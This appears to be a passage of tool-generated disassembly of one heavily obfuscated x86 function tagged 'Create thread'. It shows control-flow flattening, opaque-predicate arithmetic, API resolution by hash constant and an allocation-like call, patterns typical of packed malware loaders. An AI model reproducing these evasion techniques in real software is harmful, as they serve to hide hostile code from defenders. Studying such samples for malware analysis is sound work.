Function at 0x6e1f30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x510
xor eax, eax
mov ecx, 0x7e031f69
mov edx, dword [0x71b0ac]
mov esi, dword [0x71b0a4]
add ecx, 0
add ecx, 0x54cff5c3
sub ecx, 0x7e031f69
sub ecx, 0x7edeed42
sub ecx, 1
add ecx, 0x7edeed42
mov edi, eax
sub edi, 0x54cff5c3
add ecx, edi
mov edi, eax
sub edi, 0x576fbbbf
mov ebx, edx
add ebx, edi
mov edi, eax
sub edi, ecx
sub ebx, edi
mov ecx, eax
sub ecx, ebx
mov edi, eax
sub edi, 0x576fbbbf
add ecx, edi
sub eax, ecx
imul edx, eax
and edx, 1
cmp edx, 0
sete al
and al, 1
mov byte [ebp - 0x22], al
cmp esi, 0xa
setl al
and al, 1
mov byte [ebp - 0x21], al
mov dword [ebp - 0x28], 0xcc775320
mov eax, dword [ebp - 0x28]
mov ecx, eax
sub ecx, 0x88ad8e40
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
je 0x6e8a4d
jmp 0x6e1fd8
mov eax, dword [ebp - 0x2c]
sub eax, 0x8c0a2e23
mov dword [ebp - 0x34], eax
je 0x6e3cad
jmp 0x6e1fee
mov eax, dword [ebp - 0x2c]
sub eax, 0x93b3c883
mov dword [ebp - 0x38], eax
je 0x6e94cb
jmp 0x6e2004
mov eax, dword [ebp - 0x2c]
sub eax, 0xa6743909
mov dword [ebp - 0x3c], eax
je 0x6e8497
jmp 0x6e201a
mov eax, dword [ebp - 0x2c]
sub eax, 0xb92787d8
mov dword [ebp - 0x40], eax
je 0x6e23e9
jmp 0x6e2030
mov eax, dword [ebp - 0x2c]
sub eax, 0xcc775320
mov dword [ebp - 0x44], eax
je 0x6e217f
jmp 0x6e2046
mov eax, dword [ebp - 0x2c]
sub eax, 0xd45fe38f
mov dword [ebp - 0x48], eax
je 0x6e3958
jmp 0x6e205c
mov eax, dword [ebp - 0x2c]
sub eax, 0xe78c85d6
mov dword [ebp - 0x4c], eax
je 0x6e3973
jmp 0x6e2072
mov eax, dword [ebp - 0x2c]
sub eax, 0x4f7c4ec
mov dword [ebp - 0x50], eax
je 0x6e720f
jmp 0x6e2088
mov eax, dword [ebp - 0x2c]
sub eax, 0x12f6c050
mov dword [ebp - 0x54], eax
je 0x6e94c3
jmp 0x6e209e
mov eax, dword [ebp - 0x2c]
sub eax, 0x1c9099b4
mov dword [ebp - 0x58], eax
je 0x6e721b
jmp 0x6e20b4
mov eax, dword [ebp - 0x2c]
sub eax, 0x218015a9
mov dword [ebp - 0x5c], eax
je 0x6e96ee
jmp 0x6e20ca
mov eax, dword [ebp - 0x2c]
sub eax, 0x343c9012
mov dword [ebp - 0x60], eax
je 0x6e95aa
jmp 0x6e20e0
mov eax, dword [ebp - 0x2c]
sub eax, 0x3e47ec5f
mov dword [ebp - 0x64], eax
je 0x6e9668
jmp 0x6e20f6
mov eax, dword [ebp - 0x2c]
sub eax, 0x58d5b677
mov dword [ebp - 0x68], eax
je 0x6e5c27
jmp 0x6e210c
mov eax, dword [ebp - 0x2c]
sub eax, 0x633e6771
mov dword [ebp - 0x6c], eax
je 0x6e96e2
jmp 0x6e2122
mov eax, dword [ebp - 0x2c]
sub eax, 0x6ac40f5a
mov dword [ebp - 0x70], eax
je 0x6e57df
jmp 0x6e2138
mov eax, dword [ebp - 0x2c]
sub eax, 0x6c987d50
mov dword [ebp - 0x74], eax
je 0x6e74ad
jmp 0x6e214e
mov eax, dword [ebp - 0x2c]
sub eax, 0x6d832e90
mov dword [ebp - 0x78], eax
je 0x6e57c4
jmp 0x6e2164
mov eax, dword [ebp - 0x2c]
sub eax, 0x746e6d5c
mov dword [ebp - 0x7c], eax
je 0x6e84a3
jmp 0x6e217a
jmp 0x6e96f5
mov eax, 0x93b3c883
mov ecx, 0xb92787d8
mov dl, 1
mov dh, byte [ebp - 0x22]
mov bl, byte [ebp - 0x21]
mov bh, bl
xor bh, 0xff
and bh, 1
mov dword [ebp - 0x80], eax
mov al, dl
xor al, 1
mov ah, bl
and ah, al
or bh, ah
mov al, dh
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov byte [ebp - 0x81], al
mov al, dh
and al, ah
mov byte [ebp - 0x82], al
mov al, bh
xor al, 0xff
and al, 0
and bh, ah
mov ah, byte [ebp - 0x81]
mov byte [ebp - 0x83], al
mov al, byte [ebp - 0x82]
or ah, al
mov al, byte [ebp - 0x83]
or al, bh
xor ah, al
mov al, dh
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov byte [ebp - 0x84], al
mov al, dh
and al, ah
mov ah, byte [ebp - 0x84]
or ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, dl
xor al, 0
and al, 1
mov byte [ebp - 0x85], al
mov al, dl
xor al, 1
mov byte [ebp - 0x86], al
and al, 0
mov byte [ebp - 0x87], al
mov al, dl
xor al, 1
and al, 0xff
mov byte [ebp - 0x88], al
mov al, byte [ebp - 0x86]
and al, 1
mov byte [ebp - 0x89], al
mov al, byte [ebp - 0x85]
mov dword [ebp - 0x90], ecx
mov cl, byte [ebp - 0x87]
or al, cl
mov cl, byte [ebp - 0x88]
mov ch, byte [ebp - 0x89]
or cl, ch
xor al, cl
mov cl, al
xor cl, 0xff
mov ch, dh
xor ch, cl
and ch, dh
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x91], al
mov al, bl
and al, dh
or cl, al
mov al, dl
xor al, 0
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0x91]
xor al, 0xff
mov cl, bl
xor cl, al
and cl, bl
mov al, ah
xor al, 0xff
mov bl, ch
xor bl, 0xff
mov byte [ebp - 0x92], al
mov al, dl
xor al, 1
mov byte [ebp - 0x93], al
mov al, byte [ebp - 0x92]
and al, 0xff
mov byte [ebp - 0x94], al
mov al, byte [ebp - 0x93]
and ah, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x95], al
mov al, byte [ebp - 0x93]
and ch, al
mov al, byte [ebp - 0x94]
or al, ah
mov ah, byte [ebp - 0x95]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x92]
or ah, bl
xor ah, 0xff
mov ch, byte [ebp - 0x93]
or ch, 1
and ah, ch
or al, ah
mov ah, dh
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x96], al
mov al, ah
and al, 0xff
and dh, bl
mov byte [ebp - 0x97], al
mov al, ch
and al, 0xff
and cl, bl
mov byte [ebp - 0x98], al
mov al, byte [ebp - 0x97]
or al, dh
mov dh, byte [ebp - 0x98]
or dh, cl
xor al, dh
or ah, ch
xor ah, 0xff
or bl, 1
and ah, bl
or al, ah
mov cl, byte [ebp - 0x96]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x96]
and cl, al
or ah, cl
mov al, bh
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, dl
xor ch, 1
or al, cl
or ch, 1
xor al, 0xff
and al, ch
mov cl, bh
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
and bh, ah
or ch, bh
mov cl, al
xor cl, 0xff
mov ah, ch
xor ah, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and ch, dl
or dh, al
or bl, ch
xor dh, bl
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x80]
mov edi, dword [ebp - 0x90]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov dword [ebp - 0x20], edx
push eax
mov edx, esp
mov dword [ebp - 0x1c], edx
push eax
mov edx, esp
mov dword [ebp - 0x18], edx
push eax
mov edx, esp
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], ecx
call fcn.00651460
mov ecx, 0x9ce0d4a
mov edx, dword [ebp - 0x9c]
mov dword [edx], eax
mov eax, dword [edx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x9ce0d4a
mov dword [ebp - 0xa4], ecx
call fcn.00679de0
add esp, 8
lea ecx, str.VlaVcoPbdwH3POJ1cy652kSI4
mov edx, dword [ebp - 0xa0]
mov dword [edx], eax
sub esp, 4
mov dword [esp], ecx
call sub.msvcrt.dll__strdup_1
add esp, 4
xor ecx, ecx
mov edx, 0x2ac00
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2ac00
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xa8], edi
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xb4], esi
call dword [eax]
mov ecx, 0x93b3c883
mov edx, 0xd45fe38f
mov bl, 1
xor esi, esi
mov edi, dword [ebp - 0x1c]
mov dword [edi], eax
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xe], bh
mov eax, dword [0x71b0ac]
mov edi, dword [0x71b0a4]
mov dword [ebp - 0xb8], eax
mov eax, esi
sub eax, 0xd9b2529
add eax, 0
mov dword [ebp - 0xbc], eax
mov eax, esi
mov dword [ebp - 0xc0], ecx
mov ecx, dword [ebp - 0xbc]
sub eax, ecx
mov ecx, dword [ebp - 0xb8]
sub ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0x4e3bf99e
add eax, ecx
mov ecx, esi
sub ecx, eax
sub ecx, 0xa0348fea
sub ecx, 1
add ecx, 0xa0348fea
add ecx, 0x502375ca
sub ecx, 0x4e3bf99e
sub ecx, 0x502375ca
add ecx, 0x31ed3947
add ecx, 0x8cd76dbc
sub ecx, 0x31ed3947
sub esi, 0xd9b2529
sub ecx, esi
sub ecx, 0x56b6ed88
sub ecx, 0x8cd76dbc
add ecx, 0x56b6ed88
mov eax, dword [ebp - 0xb8]
imul eax, ecx
and eax, 1
cmp eax, 0
sete bh
cmp edi, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
or ah, ch
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, bl
xor cl, 0
and cl, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0xc1], al
mov al, ch
and al, 0
mov byte [ebp - 0xc2], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0xc3], al
mov al, byte [ebp - 0xc2]
or cl, al
mov al, byte [ebp - 0xc3]
or al, ch
xor cl, al
mov al, cl
xor al, 0xff
mov ch, bh
xor ch, al
and ch, bh
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0xc4], al
mov al, bl
xor al, 1
mov byte [ebp - 0xc5], al
and al, 1
mov byte [ebp - 0xc6], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0xc7], al
mov al, byte [ebp - 0xc5]
and al, 1
mov byte [ebp - 0xc8], al
mov al, byte [ebp - 0xc4]
mov byte [ebp - 0xc9], cl
mov cl, byte [ebp - 0xc6]
or al, cl
mov cl, byte [ebp - 0xc7]
mov byte [ebp - 0xca], al
mov al, byte [ebp - 0xc8]
or cl, al
mov al, byte [ebp - 0xca]
xor al, cl
mov cl, bl
xor cl, 0
mov byte [ebp - 0xcb], al
xor al, cl
mov cl, byte [ebp - 0xcb]
and al, cl
mov cl, bl
xor cl, 1
mov byte [ebp - 0xcc], al
mov al, byte [ebp - 0xc9]
xor al, 0xff
mov byte [ebp - 0xcd], al
mov al, bl
xor al, 1
mov byte [ebp - 0xce], al
mov al, byte [ebp - 0xcd]
or cl, al
mov al, byte [ebp - 0xce]
or al, 1
xor cl, 0xff
and cl, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, byte [ebp - 0xcc]
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0xcf], al
mov al, bl
xor al, 0
mov byte [ebp - 0xd0], al
mov al, ah
and al, 0
mov byte [ebp - 0xd1], al
mov al, byte [ebp - 0xcc]
mov byte [ebp - 0xd2], cl
mov cl, byte [ebp - 0xd0]
and al, cl
mov cl, ch
and cl, 0
mov byte [ebp - 0xd3], al
mov al, byte [ebp - 0xd2]
mov byte [ebp - 0xd4], cl
mov cl, byte [ebp - 0xd0]
and al, cl
mov cl, byte [ebp - 0xd1]
mov byte [ebp - 0xd5], al
mov al, byte [ebp - 0xd3]
or cl, al
mov al, byte [ebp - 0xd4]
mov byte [ebp - 0xd6], cl
mov cl, byte [ebp - 0xd5]
or al, cl
mov cl, byte [ebp - 0xd6]
xor cl, al
or ah, ch
xor ah, 0xff
mov al, byte [ebp - 0xd0]
or al, 0
and ah, al
or cl, ah
mov al, byte [ebp - 0xcf]
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0xcf]
and ch, ah
mov byte [ebp - 0xd7], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
mov ah, byte [ebp - 0xd7]
or ah, ch
or al, cl
xor ah, al
mov al, byte [ebp - 0xc1]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ch, byte [ebp - 0xc1]
and ch, cl
mov byte [ebp - 0xd8], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0xd9], al
mov al, byte [ebp - 0xd8]
or al, ch
mov ch, byte [ebp - 0xd9]
or ch, cl
xor al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, bl
xor cl, 1
and cl, 1
mov ch, bl
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0xc1]
xor ch, cl
mov cl, byte [ebp - 0xc1]
and ch, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0xda], al
mov al, ch
and al, 1
mov byte [ebp - 0xdb], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0xdc], al
mov al, byte [ebp - 0xda]
mov byte [ebp - 0xdd], cl
mov cl, byte [ebp - 0xdb]
or al, cl
mov cl, byte [ebp - 0xdc]
or cl, ch
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, bl
xor cl, 1
and cl, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0xde], al
mov al, ch
and al, 1
mov byte [ebp - 0xdf], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0xe0], al
mov al, byte [ebp - 0xdf]
or cl, al
mov al, byte [ebp - 0xe0]
or al, ch
xor cl, al
mov al, bl
xor al, 1
xor cl, 0xff
mov ch, bl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, byte [ebp - 0xde]
and cl, al
mov ch, byte [ebp - 0xde]
xor ch, al
or cl, ch
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0xe1], al
and al, ch
mov ch, byte [ebp - 0xe1]
xor ch, 0xff
mov byte [ebp - 0xe2], al
mov al, ah
and al, ch
mov ch, byte [ebp - 0xe2]
or ch, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0xe3], al
mov al, ch
mov byte [ebp - 0xe4], cl
mov cl, byte [ebp - 0xe3]
xor al, cl
and al, ch
mov cl, byte [ebp - 0xe4]
xor cl, 0xff
and cl, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0xe5], al
mov al, byte [ebp - 0xe4]
and al, ch
mov byte [ebp - 0xe6], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0xe7], al
mov al, byte [ebp - 0xe6]
or cl, al
mov al, byte [ebp - 0xe7]
or al, ch
xor cl, al
mov al, bh
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
mov al, bh
and al, cl
or ch, al
xor bh, 0xff
mov al, ch
xor al, bh
and al, ch
mov cl, bl
xor cl, 1
and cl, 0
mov ch, bl
xor ch, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0xe8], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, byte [ebp - 0xdd]
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
mov al, byte [ebp - 0xdd]
and al, cl
or ch, al
mov al, byte [ebp - 0xdd]
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, byte [ebp - 0xe4]
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0xe4]
and bh, ch
or al, bh
mov ch, byte [ebp - 0xc1]
xor ch, 0xff
mov bh, al
and bh, ch
xor al, 0xff
mov ch, byte [ebp - 0xc1]
and ch, al
or bh, ch
xor bh, 0xff
mov al, byte [ebp - 0xc1]
xor al, 0xff
mov ch, bl
xor ch, 1
or bh, al
or ch, 1
xor bh, 0xff
and bh, ch
mov al, byte [ebp - 0xe8]
xor al, 0xff
mov ch, byte [ebp - 0xe5]
xor ch, al
mov al, byte [ebp - 0xe5]
and ch, al
xor al, 0xff
and al, 0
mov byte [ebp - 0xe9], al
mov al, bl
xor al, 0
mov byte [ebp - 0xea], al
mov al, byte [ebp - 0xe5]
mov byte [ebp - 0xeb], cl
mov cl, byte [ebp - 0xea]
and al, cl
mov cl, byte [ebp - 0xe8]
xor cl, 0xff
and cl, 0
mov byte [ebp - 0xec], al
mov al, byte [ebp - 0xe8]
mov byte [ebp - 0xed], cl
mov cl, byte [ebp - 0xea]
and al, cl
mov cl, byte [ebp - 0xe9]
mov byte [ebp - 0xee], al
mov al, byte [ebp - 0xec]
or cl, al
mov al, byte [ebp - 0xed]
mov byte [ebp - 0xef], cl
mov cl, byte [ebp - 0xee]
or al, cl
mov cl, byte [ebp - 0xef]
xor cl, al
mov al, ch
and al, cl
xor ch, cl
or al, ch
mov cl, byte [ebp - 0xeb]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0xf0], al
mov al, byte [ebp - 0xeb]
and al, ch
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0xf1], al
mov al, bh
and al, ch
mov ch, byte [ebp - 0xf1]
or ch, al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0xf2], al
mov al, bl
xor al, 1
mov byte [ebp - 0xf3], al
and al, 1
mov byte [ebp - 0xf4], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0xf5], al
mov al, byte [ebp - 0xf3]
and al, 1
mov byte [ebp - 0xf6], al
mov al, byte [ebp - 0xf2]
mov byte [ebp - 0xf7], cl
mov cl, byte [ebp - 0xf4]
or al, cl
mov cl, byte [ebp - 0xf5]
mov byte [ebp - 0xf8], al
mov al, byte [ebp - 0xf6]
or cl, al
mov al, byte [ebp - 0xf8]
xor al, cl
mov cl, bl
xor cl, 1
mov byte [ebp - 0xf9], al
mov al, byte [ebp - 0xf7]
xor al, cl
mov cl, byte [ebp - 0xf7]
and al, cl
mov cl, byte [ebp - 0xeb]
xor cl, 0xff
mov byte [ebp - 0xfa], al
mov al, byte [ebp - 0xf9]
xor al, 0xff
mov byte [ebp - 0xfb], al
mov al, bl
xor al, 0
mov byte [ebp - 0xfc], al
mov al, byte [ebp - 0xfb]
or cl, al
mov al, byte [ebp - 0xfc]
or al, 0
xor cl, 0xff
and cl, al
mov al, ch
xor al, 0xff
mov byte [ebp - 0xfd], al
mov al, bl
xor al, 1
mov byte [ebp - 0xfe], al
mov al, bl
xor al, 1
mov byte [ebp - 0xff], al
mov al, byte [ebp - 0xfd]
mov byte [ebp - 0x100], cl
mov cl, byte [ebp - 0xfe]
or al, cl
mov cl, byte [ebp - 0xff]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0xf9]
xor cl, 0xff
mov byte [ebp - 0x101], al
mov al, bh
xor al, cl
and al, bh
mov cl, byte [ebp - 0xfa]
xor cl, 0xff
mov bh, byte [ebp - 0x100]
xor bh, 0xff
mov byte [ebp - 0x102], al
mov al, bl
xor al, 0
mov byte [ebp - 0x103], al
mov al, cl
and al, 0
mov byte [ebp - 0x104], al
mov al, byte [ebp - 0xfa]
mov byte [ebp - 0x105], cl
mov cl, byte [ebp - 0x103]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x106], al
mov al, byte [ebp - 0x100]
mov byte [ebp - 0x107], cl
mov cl, byte [ebp - 0x103]
and al, cl
mov cl, byte [ebp - 0x104]
mov byte [ebp - 0x108], al
mov al, byte [ebp - 0x106]
or cl, al
mov al, byte [ebp - 0x107]
mov byte [ebp - 0x109], cl
mov cl, byte [ebp - 0x108]
or al, cl
mov cl, byte [ebp - 0x109]
xor cl, al
mov al, byte [ebp - 0x105]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x103]
or bh, 0
and al, bh
or cl, al
mov al, byte [ebp - 0x101]
mov bh, byte [ebp - 0x102]
and al, bh
mov bh, byte [ebp - 0x101]
mov byte [ebp - 0x10a], al
mov al, byte [ebp - 0x102]
xor bh, al
mov al, byte [ebp - 0x10a]
or al, bh
mov bh, cl
xor bh, 0xff
and bh, 1
mov byte [ebp - 0x10b], al
mov al, bl
xor al, 1
and cl, al
mov byte [ebp - 0x10c], al
mov al, byte [ebp - 0x10b]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x10d], al
mov al, byte [ebp - 0x10b]
mov byte [ebp - 0x10e], cl
mov cl, byte [ebp - 0x10c]
and al, cl
mov cl, byte [ebp - 0x10e]
or bh, cl
mov cl, byte [ebp - 0x10d]
or cl, al
xor bh, cl
mov al, byte [ebp - 0xf7]
and al, ch
mov cl, byte [ebp - 0xf7]
xor cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
and al, ch
or cl, al
mov al, byte [ebp - 0xf9]
and al, 1
mov ch, byte [ebp - 0xf9]
xor ch, 1
or al, ch
xor cl, 0xff
xor al, 0xff
mov ch, bl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, bh
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x10f], al
mov al, bl
xor al, 0
mov byte [ebp - 0x110], al
mov al, byte [ebp - 0x10f]
and al, 0
mov byte [ebp - 0x111], al
mov al, byte [ebp - 0x110]
and bh, al
mov al, ch
and al, 0
mov byte [ebp - 0x112], al
mov al, byte [ebp - 0x110]
and cl, al
mov al, byte [ebp - 0x111]
or al, bh
mov bh, byte [ebp - 0x112]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x10f]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x110]
or ch, 0
and cl, ch
or al, cl
mov cl, byte [ebp - 0xf0]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0xf0]
and bh, ch
mov byte [ebp - 0x113], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, bl
xor al, 1
xor cl, 0xff
mov ch, bl
xor ch, 1
or al, cl
or ch, 1
xor al, 0xff
and al, ch
mov cl, bl
xor cl, 1
and cl, 1
mov ch, bl
xor ch, 1
and ch, 1
or cl, ch
mov ch, byte [ebp - 0xf0]
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x114], al
mov al, bl
xor al, 1
or ch, bh
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x113]
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x115], al
mov al, byte [ebp - 0x113]
and al, bh
mov bh, byte [ebp - 0x115]
or bh, al
xor bh, 0xff
mov al, bl
xor al, 1
mov byte [ebp - 0x116], al
mov al, bl
xor al, 1
mov byte [ebp - 0x117], al
mov al, byte [ebp - 0x116]
or bh, al
mov al, byte [ebp - 0x117]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x113]
xor al, 0xff
xor cl, 0xff
mov byte [ebp - 0x118], al
mov al, bl
xor al, 0
mov byte [ebp - 0x119], al
mov al, byte [ebp - 0x118]
or al, cl
mov cl, byte [ebp - 0x119]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x114]
xor cl, 0xff
mov byte [ebp - 0x11a], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x11b], al
mov al, bl
xor al, 0
mov byte [ebp - 0x11c], al
mov al, cl
and al, 0
mov byte [ebp - 0x11d], al
mov al, byte [ebp - 0x114]
mov byte [ebp - 0x11e], cl
mov cl, byte [ebp - 0x11c]
and al, cl
mov cl, byte [ebp - 0x11b]
and cl, 0
mov byte [ebp - 0x11f], al
mov al, byte [ebp - 0x11c]
and ch, al
mov al, byte [ebp - 0x11d]
mov byte [ebp - 0x120], cl
mov cl, byte [ebp - 0x11f]
or al, cl
mov cl, byte [ebp - 0x120]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x11e]
mov ch, byte [ebp - 0x11b]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x11c]
or ch, 0
and cl, ch
or al, cl
mov cl, bh
mov ch, byte [ebp - 0x11a]
and cl, ch
xor bh, ch
or cl, bh
mov bh, al
xor bh, 0xff
mov ch, cl
and ch, bh
xor cl, 0xff
and al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 0
mov cl, bl
xor cl, 0
mov bh, ah
and bh, cl
mov byte [ebp - 0x121], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x122], al
mov al, byte [ebp - 0x121]
or al, bh
mov bh, byte [ebp - 0x122]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0xdd]
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x123], al
mov al, byte [ebp - 0xdd]
and al, bh
or cl, al
mov al, bl
xor al, 0
and al, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x124], al
mov al, bh
and al, 0
mov byte [ebp - 0x125], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x126], al
mov al, byte [ebp - 0x124]
mov byte [ebp - 0x127], cl
mov cl, byte [ebp - 0x125]
or al, cl
mov cl, byte [ebp - 0x126]
or cl, bh
xor al, cl
mov cl, bl
xor cl, 0
mov bh, byte [ebp - 0x123]
xor bh, cl
mov cl, byte [ebp - 0x123]
and bh, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x128], al
mov al, ah
xor al, cl
and al, ah
mov cl, bl
xor cl, 0
mov ah, byte [ebp - 0x127]
xor ah, cl
mov cl, byte [ebp - 0x127]
and ah, cl
mov cl, byte [ebp - 0xdd]
xor cl, 0xff
mov byte [ebp - 0x129], al
mov al, byte [ebp - 0x128]
xor al, 0xff
mov byte [ebp - 0x12a], al
mov al, bl
xor al, 0
mov byte [ebp - 0x12b], al
mov al, byte [ebp - 0x12a]
or cl, al
mov al, byte [ebp - 0x12b]
or al, 0
xor cl, 0xff
and cl, al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x12c], al
mov al, byte [ebp - 0x129]
xor al, 0xff
mov byte [ebp - 0x12d], al
mov al, bl
xor al, 0
mov byte [ebp - 0x12e], al
mov al, byte [ebp - 0x12c]
and al, 0
mov byte [ebp - 0x12f], al
mov al, byte [ebp - 0x12e]
and bh, al
mov al, byte [ebp - 0x12d]
and al, 0
mov byte [ebp - 0x130], al
mov al, byte [ebp - 0x129]
mov byte [ebp - 0x131], cl
mov cl, byte [ebp - 0x12e]
and al, cl
mov cl, byte [ebp - 0x12f]
or cl, bh
mov bh, byte [ebp - 0x130]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x12c]
mov bh, byte [ebp - 0x12d]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x12e]
or bh, 0
and al, bh
or cl, al
mov al, ah
xor al, 0xff
mov bh, byte [ebp - 0x131]
xor bh, 0xff
mov byte [ebp - 0x132], al
mov al, bl
xor al, 0
mov byte [ebp - 0x133], al
mov al, byte [ebp - 0x132]
and al, 0
mov byte [ebp - 0x134], al
mov al, byte [ebp - 0x133]
and ah, al
mov al, bh
and al, 0
mov byte [ebp - 0x135], al
mov al, byte [ebp - 0x131]
mov byte [ebp - 0x136], cl
mov cl, byte [ebp - 0x133]
and al, cl
mov cl, byte [ebp - 0x134]
or cl, ah
mov ah, byte [ebp - 0x135]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x132]
or al, bh
xor al, 0xff
mov ah, byte [ebp - 0x133]
or ah, 0
and al, ah
or cl, al
mov al, byte [ebp - 0x136]
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, byte [ebp - 0x136]
and al, cl
or ah, al
mov al, byte [ebp - 0x123]
xor al, 0xff
mov cl, byte [ebp - 0x127]
xor cl, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x137], al
and al, 0
mov byte [ebp - 0x138], al
mov al, byte [ebp - 0x123]
and al, bh
mov byte [ebp - 0x139], al
mov al, cl
and al, 0
mov byte [ebp - 0x13a], al
mov al, byte [ebp - 0x127]
and al, bh
mov byte [ebp - 0x13b], al
mov al, byte [ebp - 0x138]
mov byte [ebp - 0x13c], cl
mov cl, byte [ebp - 0x139]
or al, cl
